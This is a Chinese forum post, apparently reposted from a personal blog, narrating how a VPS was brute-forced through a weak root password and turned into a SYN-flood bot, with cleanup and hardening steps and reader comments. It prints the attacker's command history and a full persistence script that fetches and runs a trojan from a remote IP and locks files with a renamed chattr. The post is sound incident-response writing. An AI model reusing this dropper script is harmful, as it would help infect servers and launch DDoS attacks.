服务器被黑之后的心路历程

2015-04-02 23:02:50 +08:00
 MonkLuf

服务器被黑之后的心路历程

不久前读了一篇黑客故事( 高手对决 -- 博客服务器被黑的故事),读完此文后,才意识到我的机器是处于裸奔状态,便饶有兴致地去服务器检查了一下日志。发现还真有人在尝试对我的机器进行暴力破解(一下简称爆破),而且攻势还挺猛,当天就有1w+的暴力尝试!但是当时并没有特别去在意,被黑这种事情应该不会发生的......吧......

只是,几天之后的某一天(2月3号)深夜,趴在床上休闲的看邮件时,收到了DO在1月29号发的警告邮件(DO:Digital Ocean, 一个vps主机提供商,这个博客就是架设在我在DO的vps上):

We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.

To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...

什么情况!我的服务器被黑了!!?DO把我的服务封了!!?立马打开浏览器访问我的博客主页,果然挂了。然后尝试ssh登录到主机,连接不上,果然主机被封了!而且这邮件是五天前发的,我现在才知道!吓得当时我的表情是这样的:

寻找线索

第二天起床之后,立马跑到自习室进入忘我模式,开始追查原因!

服务器网络被禁,没法ssh登录。幸好, DO 提供了Web console接口,可以通过Web界面来登录服务器。

“DO把我服网络封禁了,那贼现在应该无法控制我的服务器”,心里再一次暗想着,“现在暂时无需修改密码来防止主机被再次控制,先先找出问题所在吧。”

再次打开邮件,观察DO提供的报警信息:

We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.

To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...

“难道服务器被劫持作为肉鸡来攻击其它的网络了!?”,那是一头雾水啊,完全不清楚攻击者究竟利用我服做了什么事情,看起来好像是被当肉鸡了哎 ╮(╯▽╰)╭。

所以接下来理所当然的去查看有问题的进程了。

既然是traffic flood,那就先从网络检查起。

$ sudo ss -p
State       Recv-Q Send-Q   Local Address:Port       Peer Address:Port   
SYN-SENT    0      4            127.0.0.1:36512      183.60.149.202:43200
users:(("icnanker",14519,4))
...

不出所料果然看到了一个很可疑的程序:icnanker,它在不停的尝试往183.60.149.202:43200发送tcp syn包!立马搜这个IP的信息,只发现这是东莞的一个IP。那继续吧,先找出所有有问题的进程再说。

果然在进程列表中找到了三个很可疑的进程:

$ ps aux
(...)
root     13648  0.0  0.1 23656   556 ?        Ss    Jan28   0:43 /etc/init.d/apache2.sh
root     14519  0.0  0.2 85872  1208 ?        S     Jan28   23:41 /usr/bin/icnanker
root     26595  0.0  0.2 61364  1224 ?        S     Jan28   0:00 /usr/bin/.sshd
(...)

第一,我没有装apache,apache2.sh这样的名字实在是太可疑了。

第二,.sshd这个进程的名字更可疑,sshd守护进程是sshd,伪装得太不像了。

第三,只有这三个进程都是在Jan28启动的,也就是1月28号,这让我联想到29号造成的traffic flood。肯定有问题。

接着下意识的去翻阅登录日志:

# grep "Accepted" /var/log/auth.log.1
(...)
Jan 26 16:55:49 mon sshd[13955]: Accepted password for root from 61.160.247.8 port 1604 ssh2
Jan 28 17:12:03 mon sshd[30407]: Accepted password for root from 61.166.50.23 port 3343 ssh2
(...)
# grep "Jan 2[5-8] .*sshd.*Failed" /var/log/auth.log.1 | wc
  21806  355851 2333557

!!!!

Jan 26和 Jan 28都有人在我的机器上登录过root账号!Ip来源发现分别是云南和江苏的,也是非常诡异。接着让我更吃惊的是从Jan 25到Feb 28,共有2w+的暴破尝试!

在看到这些结果的瞬间其实我就明白了为何我会被攻破——因为我的密码设置得非常非常简单,简单到和“123456”这样的密码差不多。这个时候我的表情是这样的:

立马切换到root用户,查看root命令记录,看看能不能追踪到这个家伙在我机器上做过什么,同时在心里像上帝祈祷希望他没擦去脚印。

# history
(...)
    4  cp /usr/bin/wget /usr/bin/vget
    5  cp /usr/bin/chattr /usr/bin/lockr
    6  chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wget
    7  lockr +i /usr/bin/chattr;lockr +i /usr/bin/wget
    8  chmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockr
    9  vget http://183.60.149.202:8080/apache2.sh
   10  mv /root/apache2.sh /etc/init.d/apache2.sh
   11  chmod 0755 /etc/init.d/apache2.sh
   12  nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &
   13  lockr +i /etc/init.d/apache2.sh
   14  vi /etc/rc.local
   15  lockr +i /etc/rc.local
   16  less /etc/init.d/apache2.sh

感慨万千,万千感慨,“还好,这个傻逼没有擦去脚印”,哈哈哈哈哈。。

做抱拳状,站起,出自习室,接开水,回来,继续!

“我需要知道,这家伙究竟对我的机器干了些什么!”

从上面的命令记录来看,/etc/init.d/apache2.sh这个脚本有很大的嫌疑,查看脚本内容:

# cat /etc/init.d/apache2.sh
#!/bin/sh
while [ 1 -gt 0 ];do
Get="/usr/bin/vget"
Lok="/usr/bin/lockr"
Bak="/usr/bin/.filebak"
hosts="/etc/hosts.bak"
File="/usr/bin/icnanker"
if [ ! -f  "$hosts" ];then
    cp -f /etc/hosts.deny /etc/hosts.bak
    lockr +i /etc/hosts.bak
fi
if [ ! -f  "$Lok" ];then
    cp -f /usr/bin/chattr /usr/bin/lockr
    cp -f /usr/bin/chattr /usr/bin/.locks
    cp -f /usr/bin/.locks /usr/bin/lockr
    chmod 0755 /usr/bin/lockr
    chmod 0755 /usr/bin/.locks
    lockr +i /usr/bin/lockr
    lockr +i /usr/bin/.locks
fi
if [ ! -f  "$Get" ];then
    cp -f /usr/bin/wget /usr/bin/vget
    cp -f /usr/bin/wget /usr/bin/.bget
    cp -f /usr/bin/.bget /usr/bin/vget
    chmod 0755 /usr/bin/vget
    chmod 0755 /usr/bin/.bget
    lockr +i /usr/bin/vget
    lockr +i /usr/bin/.bget
fi
Exist=`ss|grep 183.60.149.202:43200|grep -v "grep" `
if [ -z "$Exist" ];then
    lockr -i /usr/bin/.filebak
    lockr -i /usr/bin/icnanker
    chmod 0755 /usr/bin/.filebak
    chmod 0755 /usr/bin/icnanker
    if [ ! -f  "$File" ];then
        if [ ! -f  "$Bak" ];then
            rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1
            vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker
            mv /etc/init.d/icnanker /usr/bin/icnanker
        else
            cp -f /usr/bin/.filebak /usr/bin/icnanker
        fi
    fi
    pkill icnanker;pkill icnanker
    chmod 0755 /usr/bin/icnanker
    lockr +i /usr/bin/icnanker
    /usr/bin/icnanker
fi
if [ ! -f  "$Bak" ];then
    cp -f /usr/bin/icnanker /usr/bin/.filebak
    chmod 0755 /usr/bin/.filebak
    lockr +i /usr/bin/.filebak
fi
chmod 0 /usr/bin/wget
lockr +i /usr/bin/wget
chmod 0 /usr/bin/chattr
lockr +i /usr/bin/chattr
chmod 0 /usr/lib/sftp-server
lockr +i /usr/lib/sftp-server
lockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.deny
sleep 30
done

仔细看下来,这应该是"icnanker"的后台守护程序,确保"icnanker"一直在运行。

那"icnanker"究竟是干什么的,究竟在我的系统上干了什么,服务器还有什么其他的“坏家伙”在?

尝试打开“icnanker”,看看“icnanker”的内容,发现它是二进制的,无法查看该木马的具体作用。但是根据 DO 的检测、apache2.sh脚本内容以及"icnanker"一直在进行着的大量tcp链接尝试可以看出,似乎这是一个DDoS木马,syn flood

于是开始在网络上搜索该木马的详细信息,一番尝试之后,还是没能找到关于这个木马的详细信息,“那就先放着,先揪出其他木马再说”。

全城搜查

此时的我有点慌乱和无头绪,“对病毒一点都不了解呢”,“不过,这点问题可难不倒我,移步google!”

经过一番查找之后,发现了 clamAV 这个工具,一个很popular的开源病毒引擎,能够扫描检测木马、病毒和恶意程序,正乃我所需啊!!

马上用 clamAV 神器扫描全站文件,果然还发现了不少其他的木马:

/usr/bin/icnanker
/usr/bin/.filebak
/usr/bin/.sshd
/usr/bin/lsof
/usr/bin/bsd-port/getty
/bin/ps
/bin/netstat
/bin/ss

Oh, no!!!

ps, netstat, ss, lsof 这些很常用的监控服务器状态的系统工具全部被掉包了!

“真是危险,要是没有在全机进行病毒搜索的话,很容易就会又被莫名其妙的感染了!”,心里直冒冷汗。

这个时候,我的表情是这样的:

嗯,心情非常沉重。非常沉重。非常非常的沉重。

怀着沉重的心情,开始出其意料的冷静思考,得出以下推断(事实):

  1. 攻击者利用暴破登录服务器,1月26号成功突破,1月28号种下木马,29号开始进行tcp syn flood,flood持续一段时间后,被DO检测到,封了我的主机。
  2. 攻击者没有清除日志,没有做对机器有极大破坏性的事情。
  3. 攻击者不仅仅是种下"icnanker"这一个显而易见的木马,还用一些其他的木马掉包了本机上的关键程序。

那么,我需要反抗了。

  1. 杀掉木马进程

    # kill 13648  # 杀掉apache2.sh
    # kill 14519  # 杀掉"icnanker"
    # kill 26595  # 杀掉.sshd
    
  2. 清除木马

    再次查看命令记录和apache2.sh,确定清除木马的步骤:

    # history
    (...)
        4  cp /usr/bin/wget /usr/bin/vget
        5  cp /usr/bin/chattr /usr/bin/lockr
        6  chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wget
        7  lockr +i /usr/bin/chattr;lockr +i /usr/bin/wget
        8  chmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockr
        9  vget http://183.60.149.202:8080/apache2.sh
        10  mv /root/apache2.sh /etc/init.d/apache2.sh
        11  chmod 0755 /etc/init.d/apache2.sh
        12  nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &
        13  lockr +i /etc/init.d/apache2.sh
        14  vi /etc/rc.local
        15  lockr +i /etc/rc.local
        16  less /etc/init.d/apache2.sh
    # cat /etc/init.d/apache2.sh
    #!/bin/sh
    while [ 1 -gt 0 ];do
    Get="/usr/bin/vget"
    Lok="/usr/bin/lockr"
    Bak="/usr/bin/.filebak"
    hosts="/etc/hosts.bak"
    File="/usr/bin/icnanker"
    if [ ! -f  "$hosts" ];then
        cp -f /etc/hosts.deny /etc/hosts.bak
        lockr +i /etc/hosts.bak
    fi
    if [ ! -f  "$Lok" ];then
        cp -f /usr/bin/chattr /usr/bin/lockr
        cp -f /usr/bin/chattr /usr/bin/.locks
        cp -f /usr/bin/.locks /usr/bin/lockr
        chmod 0755 /usr/bin/lockr
        chmod 0755 /usr/bin/.locks
        lockr +i /usr/bin/lockr
        lockr +i /usr/bin/.locks
    fi
    if [ ! -f  "$Get" ];then
        cp -f /usr/bin/wget /usr/bin/vget
        cp -f /usr/bin/wget /usr/bin/.bget
        cp -f /usr/bin/.bget /usr/bin/vget
        chmod 0755 /usr/bin/vget
        chmod 0755 /usr/bin/.bget
        lockr +i /usr/bin/vget
        lockr +i /usr/bin/.bget
    fi
    Exist=`ss|grep 183.60.149.202:43200|grep -v "grep" `
    if [ -z "$Exist" ];then
        lockr -i /usr/bin/.filebak
        lockr -i /usr/bin/icnanker
        chmod 0755 /usr/bin/.filebak
        chmod 0755 /usr/bin/icnanker
        if [ ! -f  "$File" ];then
            if [ ! -f  "$Bak" ];then
                rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1
                vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker
                mv /etc/init.d/icnanker /usr/bin/icnanker
            else
                cp -f /usr/bin/.filebak /usr/bin/icnanker
            fi
        fi
        pkill icnanker;pkill icnanker
        chmod 0755 /usr/bin/icnanker
        lockr +i /usr/bin/icnanker
        /usr/bin/icnanker
    fi
    if [ ! -f  "$Bak" ];then
        cp -f /usr/bin/icnanker /usr/bin/.filebak
        chmod 0755 /usr/bin/.filebak
        lockr +i /usr/bin/.filebak
    fi
    chmod 0 /usr/bin/wget
    lockr +i /usr/bin/wget
    chmod 0 /usr/bin/chattr
    lockr +i /usr/bin/chattr
    chmod 0 /usr/lib/sftp-server
    lockr +i /usr/lib/sftp-server
    lockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.deny
    sleep 30
    done
    

    哼,╭(╯^╰)╮,居然敢这样玩我。这几行命令和脚本试图干扰我把病毒从机器上删除哎:

    第一步, 将/usr/bin/chattr复制到/usr/bin/lockr

    cp /usr/bin/chattr /usr/bin/lockr

    第二步, 将chattr变为不可读不可写不可执行的权限

    chmod 0 /usr/bin/chattr

    第三步, 锁住chattr,让其变为不可修改

    lockr +i /usr/bin/chattr

    第四步, 锁住所有其他木马,让其不可删除,如icnanker等。

    lockr +i /usr/bin/icnanker

    第五步, 将木马程序加入系统开机自启脚本( /etc/rc.local )中,每次开机自动运行木马。

    这样一来, 如果不懂这段逻辑的话, 要删除病毒如icnanker都会被莫名其妙被拒绝了:

    # rm /usr/bin/icnanker
    rm: cannot remove ‘icnanker’: Operation not permitted
    

    幸好, 我这个人有非常可怕的耐心。马上去查了chattr是干什么的。原来,linux的文件还能设置一些附带的属性。比如有一个属性'i',它的意思就是"immutable",即限制文件不可更改(删除、修改文件内容、改变文件权限等)。那么通过lockr +i /usr/bin/icnanker,给icnanker附上了'i'属性之后,就让我没办法删除icnanker了!

    “那把icnanker的'i'属性去除呗”, 这是一个很直接的想法。但是这货为了防止我这么做,还记得吗,它把 chattr 这个工具通过 chmod 0 /usr/bin/chattr命令将chattr的执行权限去除了。换言之,我没法运行chattr来去除icnanker的'i'属性!

    那是不是就没办法删除这些木马了呢?

    NO,NO,NO。将计就计就好了。

    还记得吗, 上面那段脚本,把/usr/bin/chattr复制到了/usr/bin/lockr。那我直接使用lockr把chattr解锁不就行了?

    # lockr -i /usr/bin/chattr
    # chmod 755 /usr/bin/chattr
    # chattr -i /usr/bin/icnanker
    # rm /usr/bin/icnanker
    (...)
    

    呵呵,这样,就把攻击者设下的圈套一下就解开了。做到这里我觉得攻击者的智商其实值得商榷的。我在智商上,其实应该更高一筹。小小的自娱自乐了一把。。。

木马,就这样一步一步的全部被我搜集起来,过些时候准备一把火烧了它。

接下来,是思考对策的时候了。这次暴破表面上全是弱口令惹的祸,其实还是因为太懒,明明知道很危险,却存在侥幸心理。“嗯,这次一定要采取全面的安全策略!”

进行一些研究之后,准备从两个大方向入手,防护机制和检测机制。一个是加强安全性,增加他们(hacker)进攻难度。另一个是加强警戒,一旦发现有人入侵,能立马知道并且快速响应。

建立城墙

  1. (SSH)登录安全策略
* **使用强密码!!**绝大多数暴破都是因为该死的弱口令!
* **设置ssh不允许root登录!**因为大多数登录暴破都是对于root用户进行暴破的!
* **不要泄露主机用户名等信息!!**这主要是为了防止针对性暴破,如果别人知道你的用户名,又对你有一些了解的话,其猜中你密码的概率会大大加大。
* **检查暴破IP并且封禁之!**有个非常好用的工具,其大名为“fail2ban”,它可以扫描主机的登录日志,并且限制单IP失败登录次数,如果超过限制,就会封禁该IP。
  1. 防火墙

    防火墙的作用主要是对外关闭不必要的网络服务,减少由常规程序本身的漏洞而带来的隐患。同样,有一个非常好用的工具,“ufw”,可以非常方便的设置防火墙:

    # ufw allow 80/tcp
    # ufw allow ssh
    

    只开启两个服务,web service和ssh service。

  2. 还有一些建议

    事实上,攻击我服的方式太多了,暴力破解密码登录只是其中一种,还有很多是利用软件漏洞进行的,还记得上一年一连串令人发指的漏洞吗:HeartBleed, Shellshock!!为了牢记这些惨痛的教训(别人身上的),谨记:

* **关注安全动态,即时更新软件安全补丁!**
* **限制服务,只让该运行的服务运行!**
* **在安装非官方包的时候,提高警惕,小心被掉包!**

全城警戒

建好城墙,就该部署哨兵了。

那么该如何监测服务器的健康状态呢?

在linux下还是有一些工具可以使用的,经过一番对比,我最终选择了tripwire。她可以检测linux关键文件的变化情况,比如/usr/bin目录下面的文件。所以我配置了一个crontab,每天早上3点检查一遍系统关键文件,看看是否有问题,并且邮件报告给我。

邮件crontab配置:

30 14 * * * /usr/sbin/tripwire --check | mail -s "Tripwire report for `uname -n`" monklof@gmail.com -r report.tripwire

这样,每天我都可以通过文件查看系统是否被破坏了。

汲取这次教训,为了能每天检测用户登录和情况,我特意写了一个脚本来检查昨天系统的登录情况:

login_review.sh:

#! /usr/bin/env bash

# monitor yesterday's login via ssh, and send report email 

date=`date -d "yesterday" +"%b %e"`
yesterday_acceptedlog=`grep "${date}.*sshd.*Accepted" /var/log/auth.log | grep -v "sudo"`
fail=`grep "${date}.*sshd.*Failed" /var/log/auth.log | grep -v "sudo" | wc -l`

success=`printf "%s" "$yesterday_acceptedlog" |wc -l`

warn=""
if [ $success -gt 0 ]
then
warn="[WARN] "
fi

html="<!doctype html>
<html>
  <head><title>${warn}SSH Login Reports for `uname -n` at $date </title></head>
  <body>
    <div class=\"result\">
     <strong>Success logins:</strong> $success <br />
     <table border=\"1\" style=\"border-collapse: collapse;\">
       <tr>
         <th>Time</th>
         <th>User</th>
         <th>Login Method</th>
       </tr>
`echo $yesterday_acceptedlog | awk '{if(length !=0)printf \"<tr><td>%s</td><td>%s</td><td>%s (%s:%s)</td></tr>\n\",$3,$9,$7,$11,$13}'`
     </table>

     <strong>Failed Trys: </strong> $fail <br />
    </div>
  </body>
</html>"

case $1 in 
-d | --debug) 
    printf "Success logs: %d\n%s\nRendered Html:\n%s" $success "$yesterday_acceptedlog" "$html"
    ;;
*)
    echo $html | mail -s "${warn}SSH Login Report for `uname -n` at $date" monklof@gmail.com -r report.login_review -a "Content-type: text/html"
    ;;
esac

然后也配置一个crontab,每天都检测:

25 14 * * * /usr/local/bin/login_review.sh

这样,我每天就能收到这样的两份报表了:

╮(╯▽╰)╭

博客停了将近一个星期之后,做好了基本的防护,小心翼翼的将服务器再次开启。(以上的安全策略的实施也是在服务开启之后一直在进行的)

服务器重新开启的那天,通过DO的运维界面查看被攻击的那天的流量情况:

可以看到29号那天tcp syn flood流量达到了140Mbps!心有余悸啊心有余悸。

然后接下来的几天,每天都看fail2ban查看被封禁的ip、看报表查看系统健康状况。效果显著,每天的暴破失败尝试量从上万成功降低到500以内。并且至今未出现过问题。

Cheers!这个时候,我的表情是这样的:

(原文来自: http://monklof.com/post/10/

14871 次点击
所在节点    分享发现
63 条回复
shakespark
2015-04-03 09:41:54 +08:00
跟看小说一样~轻松有趣
msg7086
2015-04-03 09:50:39 +08:00
被黑直接重装,说过很多遍了。
bingu
2015-04-03 09:56:44 +08:00
@hellov22ex 哈哈哈哈,你是想说幸好楼主被 肉鸡 一下,要不每个月的份子钱都白出了。(突然发觉自己也是白出份子钱的一个 :-( )

@MonkLuf 楼主这逗逼,能不能不配这么 low 的表情图啊。要配也至少小一点吧。
BOYPT
2015-04-03 10:04:44 +08:00
绝大多数都是无用功
+1
snow9312
2015-04-03 10:13:28 +08:00
@liuhaotian 这是楼主自己博客的文章。
dofine
2015-04-03 10:13:31 +08:00
实验室的服务器全是用 root 登录的,欢迎大家来暴力破解。。
lijinma
2015-04-03 10:30:09 +08:00
楼上一堆人说 无用功。

无用功个屁啊,楼主就是在讲一个故事。
hellov22ex
2015-04-03 10:34:04 +08:00
@bingu 哈哈哈哈哈哈,就是这个意思啦,不过可以挂个SS上去
dingyaguang117
2015-04-03 10:51:15 +08:00
一直在用fail2ban 但是还是吓尿了 赶紧换了个超长密码
dingyaguang117
2015-04-03 10:53:51 +08:00
从日志看, 现在扫描已经拓展到其他端口和其他用户名了
Failed password for invalid user zhangyan from 140.117.183.100 port 4139 ssh2
tumutanzi
2015-04-03 11:01:44 +08:00
用VPS的安全就是很费脑筋。一个普通博客网站的话还不如用虚拟主机。
dofine
2015-04-03 12:08:39 +08:00
上午老师通知我们所的服务器有被黑的。。
赶紧采取措施。。。orz
fim8
2015-04-03 12:17:46 +08:00
我是来看配图的。
ryd994
2015-04-03 12:29:22 +08:00
@hjc4869 然后你就要考虑kvm over ip的安全性了
hjc4869
2015-04-03 12:43:13 +08:00
@ryd994 这个一般是在服务器提供商那儿操作,除非你账号别黑咯。。
fetich
2015-04-03 16:57:58 +08:00
這自言自語地講了這麼多,我也是。。。
lengyuex
2015-04-03 17:22:29 +08:00
表情用的很到位
Koradio
2015-04-03 19:05:36 +08:00
虽然没这方面知识不过看着还是挺欢乐的~
endoffight
2015-04-03 21:56:59 +08:00
有过和楼主类似的遭遇,还好只是我的ss服务器,直接重做了系统就OK

话说弱密码和root远程登录楼主也够2的。

在此贴一个ibm的ssh安全配置给大家参考

http://www.ibm.com/developerworks/cn/aix/library/au-sshsecurity/
v998
2015-04-03 23:08:42 +08:00
哈哈,network int都被关了还能下clamav到droplet里

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/181229

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX